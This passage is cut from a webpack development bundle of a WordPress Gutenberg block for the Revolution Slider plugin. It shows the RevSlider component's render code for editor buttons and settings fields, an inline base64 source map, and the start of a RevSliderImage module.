InspectorControls,\n        null,\n        this.props.attributes.alias && wp.element.createElement(\n          'div',\n          { className: 'rs_optimizer_button_wrapper', onClick: this.openOptimizer },\n          wp.element.createElement(\n            Button,\n            {\n              isDefault: true,\n              className: 'rs_optimizer_button'\n            },\n            'flash_on'\n          ),\n          wp.element.createElement(\n            'span',\n            null,\n            'Optimize File Sizes'\n          )\n        )\n      ), wp.element.createElement(\n        InspectorAdvancedControls,\n        null,\n        wp.element.createElement(TextControl, {\n          label: 'Module Wrapper IDs',\n          value: this.props.attributes.wrapperid,\n          onChange: function onChange(value) {\n            return _this2.setwrapperid(value);\n          },\n          help: 'Enter a word or two \\u2014 without spaces or special characters \\u2014 to make a unique web address just for this module.'\n        })\n      ),, wp.element.createElement(\n        'div',\n        { className: 'revslider_block', 'data-modal': this.props.attributes.modal },\n        wp.element.createElement(\n          'div',\n          { 'class': 'sliderBar' },\n          wp.element.createElement(\n            'span',\n            null,\n            this.props.attributes.slidertitle,\n            '\\xA0'\n          ),\n          wp.element.createElement(TextControl, {\n            className: 'slider_slug',\n            value: this.props.attributes.content,\n            onChange: function onChange(content) {\n              return setSliderAttributes(_this2.props.attributes.content);\n            }\n          }),\n          wp.element.createElement(\n            Tooltip,\n            { text: 'Open Block Settings' },\n            wp.element.createElement(\n              Button,\n              {\n                isDefault: true,\n                onClick: this.openBlockSettings,\n                className: 'slider_editor_button'\n              },\n              'tune'\n            )\n          ),\n          wp.element.createElement(\n            Tooltip,\n            { text: 'Open Slider Editor' },\n            wp.element.createElement(\n              Button,\n              {\n                isDefault: true,\n                onClick: this.openSliderEditor,\n                className: 'slider_editor_button'\n              },\n              'edit'\n            )\n          ),\n          wp.element.createElement(\n            Button,\n            {\n              isDefault: true,\n              onClick: this.openLibrary,\n              className: 'slider_edit_button'\n            },\n            'Select Module'\n          )\n        ),\n        wp.element.createElement(__WEBPACK_IMPORTED_MODULE_0__revSliderImage__[\"a\" /* RevSliderImage */], Object.assign({ setAttributes: setAttributes }, this.props))\n      )];\n    }\n  }]);\n\n  return RevSlider;\n}(Component);//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiNS5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvcmV2c2xpZGVyLmpzPzRmMWQiXSwic291cmNlc0NvbnRlbnQiOlsidmFyIF9jcmVhdGVDbGFzcyA9IGZ1bmN0aW9uICgpIHsgZnVuY3Rpb24gZGVmaW5lUHJvcGVydGllcyh0YXJnZXQsIHByb3BzKSB7IGZvciAodmFyIGkgPSAwOyBpIDwgcHJvcHMubGVuZ3RoOyBpKyspIHsgdmFyIGRlc2NyaXB0b3IgPSBwcm9wc1tpXTsgZGVzY3JpcHRvci5lbnVtZXJhYmxlID0gZGVzY3JpcHRvci5lbnVtZXJhYmxlIHx8IGZhbHNlOyBkZXNjcmlwdG9yLmNvbmZpZ3VyYWJsZSA9IHRydWU7IGlmIChcInZhbHVlXCIgaW4gZGVzY3JpcHRvcikgZGVzY3JpcHRvci53cml0YWJsZSA9IHRydWU7IE9iamVjdC5kZWZpbmVQcm9wZXJ0eSh0YXJnZXQsIGRlc2NyaXB0b3Iua2V5LCBkZXNjcmlwdG9yKTsgfSB9IHJldHVybiBmdW5jdGlvbiAoQ29uc3RydWN0b3IsIHByb3RvUHJvcHMsIHN0YXRpY1Byb3BzKSB7IGlmIChwcm90b1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLnByb3RvdHlwZSwgcHJvdG9Qcm9wcyk7IGlmIChzdGF0aWNQcm9wcykgZGVmaW5lUHJvcGVydGllcyhDb25zdHJ1Y3Rvciwgc3RhdGljUHJvcHMpOyByZXR1cm4gQ29uc3RydWN0b3I7IH07IH0oKTtcblxuZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKFwiQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uXCIpOyB9IH1cblxuZnVuY3Rpb24gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4oc2VsZiwgY2FsbCkgeyBpZiAoIXNlbGYpIHsgdGhyb3cgbmV3IFJlZmVyZW5jZUVycm9yKFwidGhpcyBoYXNuJ3QgYmVlbiBpbml0aWFsaXNlZCAtIHN1cGVyKCkgaGFzbid0IGJlZW4gY2FsbGVkXCIpOyB9IHJldHVybiBjYWxsICYmICh0eXBlb2YgY2FsbCA9PT0gXCJvYmplY3RcIiB8fCB0eXBlb2YgY2FsbCA9PT0gXCJmdW5jdGlvblwiKSA/IGNhbGwgOiBzZWxmOyB9XG5cbmZ1bmN0aW9uIF9pbmhlcml0cyhzdWJDbGFzcywgc3VwZXJDbGFzcykgeyBpZiAodHlwZW9mIHN1cGVyQ2xhc3MgIT09IFwiZnVuY3Rpb25cIiAmJiBzdXBlckNsYXNzICE9PSBudWxsKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90IFwiICsgdHlwZW9mIHN1cGVyQ2xhc3MpOyB9IHN1YkNsYXNzLnByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUoc3VwZXJDbGFzcyAmJiBzdXBlckNsYXNzLnByb3RvdHlwZSwgeyBjb25zdHJ1Y3RvcjogeyB2YWx1ZTogc3ViQ2xhc3MsIGVudW1lcmFibGU6IGZhbHNlLCB3cml0YWJsZTogdHJ1ZSwgY29uZmlndXJhYmxlOiB0cnVlIH0gfSk7IGlmIChzdXBlckNsYXNzKSBPYmplY3Quc2V0UHJvdG90eXBlT2YgPyBPYmplY3Quc2V0UHJvdG90eXBlT2Yoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIDogc3ViQ2xhc3MuX19wcm90b19fID0gc3VwZXJDbGFzczsgfVxuXG4vKipcbiAqIFJldlNsaWRlciBFZGl0b3IgRWxlbWVudFxuICovXG5cbi8qKlxuICogSW50ZXJuYWwgYmxvY2sgbGlicmFyaWVzXG4qL1xudmFyIENvbXBvbmVudCA9IHdwLmVsZW1lbnQuQ29tcG9uZW50O1xudmFyIF93cCRjb21wb25lbnRzID0gd3AuY29tcG9uZW50cyxcbiAgICBUZXh0Q29udHJvbCA9IF93cCRjb21wb25lbnRzLlRleHRDb250cm9sLFxuICAgIEJ1dHRvbiA9IF93cCRjb21wb25lbnRzLkJ1dHRvbixcbiAgICBUb29sdGlwID0gX3dwJGNvbXBvbmVudHMuVG9vbHRpcDtcblxuaWYgKHR5cGVvZiB3cC5ibG9ja0VkaXRvciAhPT0gJ3VuZGVmaW5lZCcpIHZhciBfd3AkYmxvY2tFZGl0b3IgPSB3cC5ibG9ja0VkaXRvcixcbiAgICAgIEluc3BlY3RvckNvbnRyb2xzID0gX3dwJGJsb2NrRWRpdG9yLkluc3BlY3RvckNvbnRyb2xzLFxuICAgICAgSW5zcGVjdG9yQWR2YW5jZWRDb250cm9scyA9IF93cCRibG9ja0VkaXRvci5JbnNwZWN0b3JBZHZhbmNlZENvbnRyb2xzO2Vsc2UgdmFyIF93cCRlZGl0b3IgPSB3cC5lZGl0b3IsXG4gICAgICBJbnNwZWN0b3JDb250cm9scyA9IF93cCRlZGl0b3IuSW5zcGVjdG9yQ29udHJvbHMsXG4gICAgICBJbnNwZWN0b3JBZHZhbmNlZENvbnRyb2xzID0gX3dwJGVkaXRvci5JbnNwZWN0b3JBZHZhbmNlZENvbnRyb2xzO1xuXG5pbXBvcnQgeyBSZXZTbGlkZXJJbWFnZSB9IGZyb20gJy4vcmV2U2xpZGVySW1hZ2UnO1xuXG4vKipcbiAqIENvbXBvbmVudCBSZXZTbGlkZXIgZm9yIHVzYWdlIGluIGJsb2NrXG4qL1xuZXhwb3J0IHZhciBSZXZTbGlkZXIgPSBmdW5jdGlvbiAoX0NvbXBvbmVudCkge1xuICBfaW5oZXJpdHMoUmV2U2xpZGVyLCBfQ29tcG9uZW50KTtcblxuICBmdW5jdGlvbiBSZXZTbGlkZXIoKSB7XG4gICAgX2NsYXNzQ2FsbENoZWNrKHRoaXMsIFJldlNsaWRlcik7XG5cbiAgICB2YXIgX3RoaXMgPSBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybih0aGlzLCAoUmV2U2xpZGVyLl9fcHJvdG9fXyB8fCBPYmplY3QuZ2V0UHJvdG90eXBlT2YoUmV2U2xpZGVyKSkuYXBwbHkodGhpcywgYXJndW1lbnRzKSk7XG5cbiAgICBfdGhpcy5vcGVuQmxvY2tTZXR0aW5ncyA9IGZ1bmN0aW9uICgpIHtcbiAgICAgIHZhciBkYXRhID0gZmFsc2U7XG4gICAgICBSVlMuU0MuQkxPQ0sgPSBfdGhpcy5zdGF0ZTtcbiAgICAgIHJldnNsaWRlcl9yZWFjdCA9IF90aGlzO1xuICAgICAgaWYgKCFfdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzKSByZXR1cm4gZmFsc2U7XG4gICAgICBSVlMuU0Mub3BlbkJsb2NrU2V0dGluZ3MoJ2d1dGVuYmVyZycsIF90aGlzLnByb3BzLmF0dHJpYnV0ZXMuY29udGVudCk7XG4gICAgfTtcblxuICAgIF90aGlzLm9wZW5MaWJyYXJ5ID0gZnVuY3Rpb24gKCkge1xuICAgICAgcmV2c2xpZGVyX3JlYWN0ID0gX3RoaXM7XG4gICAgICBSVlMuU0MuQkxPQ0sgPSBfdGhpcy5wcm9wcy5hdHRyaWJ1dGVzO1xuICAgICAgUlZTLlNDLm9wZW5UZW1wbGF0ZUxpYnJhcnkoJ2d1dGVuYmVyZycpO1xuICAgIH07XG5cbiAgICBfdGhpcy5vcGVuU2xpZGVyRWRpdG9yID0gZnVuY3Rpb24gKCkge1xuICAgICAgaWYgKCFfdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzKSByZXR1cm4gZmFsc2U7XG4gICAgICBSVlMuU0Mub3BlblNsaWRlckVkaXRvcihfdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzKTtcbiAgICB9O1xuXG4gICAgX3RoaXMuc2V0d3JhcHBlcmlkID0gZnVuY3Rpb24gKHZhbHVlKSB7XG4gICAgICByZXZzbGlkZXJfcmVhY3QgPSBfdGhpcztcbiAgICAgIF90aGlzLnByb3BzLnNldEF0dHJpYnV0ZXMoeyB3cmFwcGVyaWQ6IHZhbHVlIH0pO1xuICAgICAgUlZTLlNDLkJMT0NLID0gX3RoaXMuc3RhdGU7XG4gICAgICBSVlMuU0MuQkxPQ0sud3JhcHBlcmlkID0gdmFsdWU7XG4gICAgfTtcblxuICAgIF90aGlzLm9wZW5PcHRpbWl6ZXIgPSBmdW5jdGlvbiAoKSB7XG4gICAgICBpZiAoIV90aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXMpIHJldHVybiBmYWxzZTtcbiAgICAgIFJWUy5TQy5vcGVuT3B0aW1pemVyKF90aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXMpO1xuICAgIH07XG5cbiAgICBfdGhpcy5zZXRTbGlkZXJBdHRyaWJ1dGVzID0gZnVuY3Rpb24gKGFsaWFzKSB7XG4gICAgICBzZXRBdHRyaWJ1dGVzKHsgYWxpYXM6IGFsaWFzIH0pO1xuICAgICAgc2V0QXR0cmlidXRlcyh7IHNsaWRlckltYWdlOiBfdGhpcy5zdGF0ZS5zbGlkZXJJbWFnZSB9KTtcbiAgICB9O1xuXG4gICAgX3RoaXMuc3RhdGUgPSBqUXVlcnkuZXh0ZW5kKHRydWUsIHt9LCBfdGhpcy5wcm9wcy5hdHRyaWJ1dGVzKTtcbiAgICB3aW5kb3cucmV2c2xpZGVyX3JlYWN0ID0ge307XG4gICAgcmV0dXJuIF90aGlzO1xuICB9XG5cbiAgX2NyZWF0ZUNsYXNzKFJldlNsaWRlciwgW3tcbiAgICBrZXk6ICdjb21wb25lbnREaWRNb3VudCcsXG4gICAgdmFsdWU6IGZ1bmN0aW9uIGNvbXBvbmVudERpZE1vdW50KCkge1xuICAgICAgcmV2c2xpZGVyX3JlYWN0ID0gdGhpcztcbiAgICAgIC8vIENyZWF0ZSBCbG9jayBpbiBSVlMgd2l0aCBjdXJyZW50IHN0YXRlXG4gICAgICBSVlMuU0MuQkxPQ0sgPSB0aGlzLnN0YXRlO1xuICAgICAgLy8gT3BlbiBUZW1wbGF0ZSBMaWJyYXJ5IHdoZW4gYmxvY2sgaXMgYWRkZWQgZm9yIHRoZSBmaXJzdCB0aW1lIHRvIHRoZSBwYWdlXG4gICAgICBpZiAoIXRoaXMucHJvcHMuYXR0cmlidXRlcy5jb250ZW50ICYmICF0aGlzLnByb3BzLmF0dHJpYnV0ZXMudGV4dCkge1xuICAgICAgICAvLyBDaGVjayBpZiBpbiB3aWRnZXQgYXJlYSwgdGhlbiBkbyBub3Qgb3BlbiB0aGUgdGVtcGxhdGUgbGlicmFyeSBhdXRvbWF0aWNhbGx5XG4gICAgICAgIGlmICh3cC5kYXRhLnNlbGVjdCgnY29yZS9lZGl0b3InKSAhPSBudWxsICYmIHdwLmRhdGEuc2VsZWN0KCdjb3JlL2VkaXRvcicpLmlzRWRpdGVkUG9zdERpcnR5KCkpIFJWUy5TQy5vcGVuVGVtcGxhdGVMaWJyYXJ5KCdndXRlbmJlcmcnKTtlbHNlIHJldHVybiBmYWxzZTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIC8vIEZhbGxiYWNrIGZvciBzYXZlZCBibG9ja3Mgd2l0aCBubyBhbGlhcyBhdHRyaWJ1dGUgKDwgUmV2U2xpZGVyIFY2LjEuNilcbiAgICAgICAgaWYgKCF0aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXMpIHtcbiAgICAgICAgICB2YXIgc2hvcnRjb2RlID0gdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmNvbnRlbnQgIT09IHVuZGVmaW5lZCA/IFJWUy5TQy5wYXJzZVNob3J0Q29kZSh0aGlzLnByb3BzLmF0dHJpYnV0ZXMuY29udGVudCkgOiBSVlMuU0MucGFyc2VTaG9ydENvZGUodGhpcy5wcm9wcy5hdHRyaWJ1dGVzLnRleHQpO1xuICAgICAgICAgIGlmIChzaG9ydGNvZGUuYXR0cmlidXRlcy5hbGlhcykge1xuICAgICAgICAgICAgdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzID0gc2hvcnRjb2RlLmF0dHJpYnV0ZXMuYWxpYXM7XG4gICAgICAgICAgICBSVlMuU0MuQkxPQ0suYWxpYXMgPSB0aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXM7XG4gICAgICAgICAgICB0aGlzLnByb3BzLnNldEF0dHJpYnV0ZXMoeyBhbGlhczogc2hvcnRjb2RlLmF0dHJpYnV0ZXMuYWxpYXMgfSk7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIGlmICghdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLnNsaWRlcnRpdGxlKSB7XG4gICAgICAgICAgaWYgKHRoaXMucHJvcHMuYXR0cmlidXRlcy5zbGlkZXJUaXRsZSkge1xuICAgICAgICAgICAgdGhpcy5wcm9wcy5zZXRBdHRyaWJ1dGVzKHsgc2xpZGVydGl0bGU6IHRoaXMucHJvcHMuYXR0cmlidXRlcy5zbGlkZXJUaXRsZSB9KTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG5cbiAgICAvLyBPcGVuIEJsb2NrIFNldHRpbmdzIGxpa2Ugb2Zmc2V0LCBwb3B1cCwgYWRtaW4gdGh1bWJcblxuXG4gICAgLy8gT3BlbiBUZW1wbGF0ZSBMaWJyYXJ5XG5cblxuICAgIC8vIExpbmsgdG8gU2xpZGVyIEVkaXRvciBpbiBuZXcgdGFiXG5cblxuICAgIC8vIE9wZW4gRmlsZSBPcHRpbWl6ZXIgUG9wVXBcblxuXG4gICAgLy8gVXBkYXRlIEF0dHJpYnV0ZXMgaW4gY2FzZSBTbGlkZXIgYWxpYXMgY2hhbmdlc1xuXG4gIH0sIHtcbiAgICBrZXk6ICdyZW5kZXInLFxuICAgIHZhbHVlOiBmdW5jdGlvbiByZW5kZXIoKSB7XG4gICAgICB2YXIgX3RoaXMyID0gdGhpcztcblxuICAgICAgcmV2c2xpZGVyX3JlYWN0ID0gdGhpcztcbiAgICAgIC8vIFNldCBBdHRyaWJ1dGVzIGZyb20gU3RhdGUgKHN0YXRlIHdhcyBjaGFuZ2VkIGluIFJldlNsaWRlciBKUylcbiAgICAgIHRoaXMucHJvcHMuc2V0QXR0cmlidXRlcyh0aGlzLnN0YXRlKTtcbiAgICAgIHZhciBzZXRBdHRyaWJ1dGVzID0gdGhpcy5wcm9wcy5zZXRBdHRyaWJ1dGVzO1xuXG4gICAgICAvLyBUdXJuIG9mZiBTdHlsaW5nIGluIEJsb2NrIE9wdGlvbnMgU2lkZWJhciB3aGVuIGxlYXZpbmcgYmxvY2tcblxuICAgICAge1xuICAgICAgICAhdGhpcy5wcm9wcy5pc1NlbGVjdGVkICYmIFJWUy5TQy51cGRhdGVCbG9ja1ZpZXdzKGZhbHNlKTtcbiAgICAgIH1cblxuICAgICAgaWYgKCF0aGlzLnByb3BzLmF0dHJpYnV0ZXMuc2xpZGVydGl0bGUpIHtcbiAgICAgICAgaWYgKHRoaXMucHJvcHMuYXR0cmlidXRlcy5zbGlkZXJUaXRsZSkge1xuICAgICAgICAgIHRoaXMucHJvcHMuc2V0QXR0cmlidXRlcyh7IHNsaWRlcnRpdGxlOiB0aGlzLnByb3BzLmF0dHJpYnV0ZXMuc2xpZGVyVGl0bGUgfSk7XG4gICAgICAgIH1cbiAgICAgIH1cblxuICAgICAgcmV0dXJuIFt3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAgIEluc3BlY3RvckNvbnRyb2xzLFxuICAgICAgICBudWxsLFxuICAgICAgICB0aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXMgJiYgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICdkaXYnLFxuICAgICAgICAgIHsgY2xhc3NOYW1lOiAncnNfb3B0aW1pemVyX2J1dHRvbl93cmFwcGVyJywgb25DbGljazogdGhpcy5vcGVuT3B0aW1pemVyIH0sXG4gICAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICAgQnV0dG9uLFxuICAgICAgICAgICAge1xuICAgICAgICAgICAgICBpc0RlZmF1bHQ6IHRydWUsXG4gICAgICAgICAgICAgIGNsYXNzTmFtZTogJ3JzX29wdGltaXplcl9idXR0b24nXG4gICAgICAgICAgICB9LFxuICAgICAgICAgICAgJ2ZsYXNoX29uJ1xuICAgICAgICAgICksXG4gICAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICAgJ3NwYW4nLFxuICAgICAgICAgICAgbnVsbCxcbiAgICAgICAgICAgICdPcHRpbWl6ZSBGaWxlIFNpemVzJ1xuICAgICAgICAgIClcbiAgICAgICAgKVxuICAgICAgKSwgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICBJbnNwZWN0b3JBZHZhbmNlZENvbnRyb2xzLFxuICAgICAgICBudWxsLFxuICAgICAgICB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoVGV4dENvbnRyb2wsIHtcbiAgICAgICAgICBsYWJlbDogJ01vZHVsZSBXcmFwcGVyIElEcycsXG4gICAgICAgICAgdmFsdWU6IHRoaXMucHJvcHMuYXR0cmlidXRlcy53cmFwcGVyaWQsXG4gICAgICAgICAgb25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG4gICAgICAgICAgICByZXR1cm4gX3RoaXMyLnNldHdyYXBwZXJpZCh2YWx1ZSk7XG4gICAgICAgICAgfSxcbiAgICAgICAgICBoZWxwOiAnRW50ZXIgYSB3b3JkIG9yIHR3byBcXHUyMDE0IHdpdGhvdXQgc3BhY2VzIG9yIHNwZWNpYWwgY2hhcmFjdGVycyBcXHUyMDE0IHRvIG1ha2UgYSB1bmlxdWUgd2ViIGFkZHJlc3MganVzdCBmb3IgdGhpcyBtb2R1bGUuJ1xuICAgICAgICB9KVxuICAgICAgKSwsIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICAgJ2RpdicsXG4gICAgICAgIHsgY2xhc3NOYW1lOiAncmV2c2xpZGVyX2Jsb2NrJywgJ2RhdGEtbW9kYWwnOiB0aGlzLnByb3BzLmF0dHJpYnV0ZXMubW9kYWwgfSxcbiAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICdkaXYnLFxuICAgICAgICAgIHsgJ2NsYXNzJzogJ3NsaWRlckJhcicgfSxcbiAgICAgICAgICB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAgICAgICAnc3BhbicsXG4gICAgICAgICAgICBudWxsLFxuICAgICAgICAgICAgdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLnNsaWRlcnRpdGxlLFxuICAgICAgICAgICAgJ1xceEEwJ1xuICAgICAgICAgICksXG4gICAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFRleHRDb250cm9sLCB7XG4gICAgICAgICAgICBjbGFzc05hbWU6ICdzbGlkZXJfc2x1ZycsXG4gICAgICAgICAgICB2YWx1ZTogdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmNvbnRlbnQsXG4gICAgICAgICAgICBvbkNoYW5nZTogZnVuY3Rpb24gb25DaGFuZ2UoY29udGVudCkge1xuICAgICAgICAgICAgICByZXR1cm4gc2V0U2xpZGVyQXR0cmlidXRlcyhfdGhpczIucHJvcHMuYXR0cmlidXRlcy5jb250ZW50KTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9KSxcbiAgICAgICAgICB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAgICAgICBUb29sdGlwLFxuICAgICAgICAgICAgeyB0ZXh0OiAnT3BlbiBCbG9jayBTZXR0aW5ncycgfSxcbiAgICAgICAgICAgIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICAgICAgICAgQnV0dG9uLFxuICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgaXNEZWZhdWx0OiB0cnVlLFxuICAgICAgICAgICAgICAgIG9uQ2xpY2s6IHRoaXMub3BlbkJsb2NrU2V0dGluZ3MsXG4gICAgICAgICAgICAgICAgY2xhc3NOYW1lOiAnc2xpZGVyX2VkaXRvcl9idXR0b24nXG4gICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICd0dW5lJ1xuICAgICAgICAgICAgKVxuICAgICAgICAgICksXG4gICAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICAgVG9vbHRpcCxcbiAgICAgICAgICAgIHsgdGV4dDogJ09wZW4gU2xpZGVyIEVkaXRvcicgfSxcbiAgICAgICAgICAgIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICAgICAgICAgQnV0dG9uLFxuICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgaXNEZWZhdWx0OiB0cnVlLFxuICAgICAgICAgICAgICAgIG9uQ2xpY2s6IHRoaXMub3BlblNsaWRlckVkaXRvcixcbiAgICAgICAgICAgICAgICBjbGFzc05hbWU6ICdzbGlkZXJfZWRpdG9yX2J1dHRvbidcbiAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgJ2VkaXQnXG4gICAgICAgICAgICApXG4gICAgICAgICAgKSxcbiAgICAgICAgICB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAgICAgICBCdXR0b24sXG4gICAgICAgICAgICB7XG4gICAgICAgICAgICAgIGlzRGVmYXVsdDogdHJ1ZSxcbiAgICAgICAgICAgICAgb25DbGljazogdGhpcy5vcGVuTGlicmFyeSxcbiAgICAgICAgICAgICAgY2xhc3NOYW1lOiAnc2xpZGVyX2VkaXRfYnV0dG9uJ1xuICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICdTZWxlY3QgTW9kdWxlJ1xuICAgICAgICAgIClcbiAgICAgICAgKSxcbiAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFJldlNsaWRlckltYWdlLCBPYmplY3QuYXNzaWduKHsgc2V0QXR0cmlidXRlczogc2V0QXR0cmlidXRlcyB9LCB0aGlzLnByb3BzKSlcbiAgICAgICldO1xuICAgIH1cbiAgfV0pO1xuXG4gIHJldHVybiBSZXZTbGlkZXI7XG59KENvbXBvbmVudCk7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9zcmMvcmV2c2xpZGVyL3JldnNsaWRlci5qc1xuLy8gbW9kdWxlIGlkID0gNVxuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBO0FBQUE7QUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///5\n");

/***/ }),
/* 6 */
/*!*****************************************!*\
  !*** ./src/revslider/revSliderImage.js ***!
  \*****************************************/
/*! exports provided: RevSliderImage */
/*! exports used: RevSliderImage */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
eval("/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"a\", function() { return RevSliderImage; });\nvar _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof 